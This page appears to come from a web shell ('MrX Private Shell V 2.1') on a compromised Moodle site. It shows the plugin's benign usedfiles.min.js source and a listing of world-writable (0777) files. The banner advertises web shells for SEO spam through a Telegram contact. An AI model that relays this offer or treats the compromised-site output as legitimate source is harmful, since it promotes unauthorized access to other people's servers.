__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
define("tiny_media/usedfiles",["exports","core/templates","core/config"],(function(_exports,Templates,_config){var obj;function _getRequireWildcardCache(nodeInterop){if("function"!=typeof WeakMap)return null;var cacheBabelInterop=new WeakMap,cacheNodeInterop=new WeakMap;return(_getRequireWildcardCache=function(nodeInterop){return nodeInterop?cacheNodeInterop:cacheBabelInterop})(nodeInterop)}Object.defineProperty(_exports,"__esModule",{value:!0}),_exports.init=void 0,Templates=function(obj,nodeInterop){if(!nodeInterop&&obj&&obj.__esModule)return obj;if(null===obj||"object"!=typeof obj&&"function"!=typeof obj)return{default:obj};var cache=_getRequireWildcardCache(nodeInterop);if(cache&&cache.has(obj))return cache.get(obj);var newObj={},hasPropertyDescriptor=Object.defineProperty&&Object.getOwnPropertyDescriptor;for(var key in obj)if("default"!==key&&Object.prototype.hasOwnProperty.call(obj,key)){var desc=hasPropertyDescriptor?Object.getOwnPropertyDescriptor(obj,key):null;desc&&(desc.get||desc.set)?Object.defineProperty(newObj,key,desc):newObj[key]=obj[key]}newObj.default=obj,cache&&cache.set(obj,newObj);return newObj}
/**
* Tiny Media Manager usedfiles.
*
* @module tiny_media/usedfiles
* @copyright 2022, Stevani Andolo <stevani@hotmail.com.au>
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
*/(Templates),_config=(obj=_config)&&obj.__esModule?obj:{default:obj};class UsedFileManager{constructor(files,userContext,itemId,elementId){this.files=files,this.userContext=userContext,this.itemId=itemId,this.elementId=elementId}getElementId(){return this.elementId}getUsedFiles(){const editor=window.parent.tinymce.EditorManager.get(this.getElementId());if(!editor)return window.console.error("Editor not found for ".concat(this.getElementId())),[];const content=editor.getContent(),baseUrl="".concat(_config.default.wwwroot,"/draftfile.php/").concat(this.userContext,"/user/draft/").concat(this.itemId,"/"),pattern=new RegExp("[\"']"+baseUrl.replace(/[-/\\^$*+?.()|[\]{}]/g,"\\$&")+"(?<filename>.+?)[\\?\"']","gm");return[...content.matchAll(pattern)].map((match=>decodeURIComponent(match.groups.filename)))}findUnusedFiles(usedFiles){return Object.entries(this.files).filter((_ref=>{let[filename]=_ref;return!usedFiles.includes(filename)})).map((_ref2=>{let[filename]=_ref2;return filename}))}findMissingFiles(usedFiles){return usedFiles.filter((filename=>!this.files.hasOwnProperty(filename)))}updateFiles(){const form=document.querySelector("form"),usedFiles=this.getUsedFiles(),unusedFiles=this.findUnusedFiles(usedFiles),missingFiles=this.findMissingFiles(usedFiles);return form.querySelectorAll('input[type=checkbox][name^="deletefile"]').forEach((checkbox=>{unusedFiles.includes(checkbox.dataset.filename)||checkbox.closest(".fitem").remove()})),form.classList.toggle("has-missing-files",!!missingFiles.length),form.classList.toggle("has-unused-files",!!unusedFiles.length),Templates.renderForPromise("tiny_media/missingfiles",{missingFiles:missingFiles}).then((_ref3=>{let{html:html,js:js}=_ref3;Templates.replaceNodeContents(form.querySelector(".missing-files"),html,js)}))}}_exports.init=(files,usercontext,itemid,elementid)=>{const manager=new UsedFileManager(files,usercontext,itemid,elementid);return manager.updateFiles(),manager}}));
//# sourceMappingURL=usedfiles.min.js.map| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| commands.min.js | File | 3.23 KB | 0777 |
|
| commands.min.js.map | File | 7.76 KB | 0777 |
|
| common.min.js | File | 392 B | 0777 |
|
| common.min.js.map | File | 1.37 KB | 0777 |
|
| configuration.min.js | File | 1.55 KB | 0777 |
|
| configuration.min.js.map | File | 4.08 KB | 0777 |
|
| embed.min.js | File | 12.89 KB | 0777 |
|
| embed.min.js.map | File | 26.85 KB | 0777 |
|
| embedmodal.min.js | File | 944 B | 0777 |
|
| embedmodal.min.js.map | File | 1.98 KB | 0777 |
|
| image.min.js | File | 5.14 KB | 0777 |
|
| image.min.js.map | File | 12.49 KB | 0777 |
|
| imagedetails.min.js | File | 13.34 KB | 0777 |
|
| imagedetails.min.js.map | File | 33.82 KB | 0777 |
|
| imagehelpers.min.js | File | 2.62 KB | 0777 |
|
| imagehelpers.min.js.map | File | 6.67 KB | 0777 |
|
| imageinsert.min.js | File | 5.96 KB | 0777 |
|
| imageinsert.min.js.map | File | 14.74 KB | 0777 |
|
| imagemodal.min.js | File | 981 B | 0777 |
|
| imagemodal.min.js.map | File | 2.03 KB | 0777 |
|
| manager.min.js | File | 2.94 KB | 0777 |
|
| manager.min.js.map | File | 4.38 KB | 0777 |
|
| options.min.js | File | 1.19 KB | 0777 |
|
| options.min.js.map | File | 2.93 KB | 0777 |
|
| plugin.min.js | File | 2.06 KB | 0777 |
|
| plugin.min.js.map | File | 2.38 KB | 0777 |
|
| selectors.min.js | File | 3.13 KB | 0777 |
|
| selectors.min.js.map | File | 7.45 KB | 0777 |
|
| usedfiles.min.js | File | 3.27 KB | 0777 |
|
| usedfiles.min.js.map | File | 5.37 KB | 0777 |
|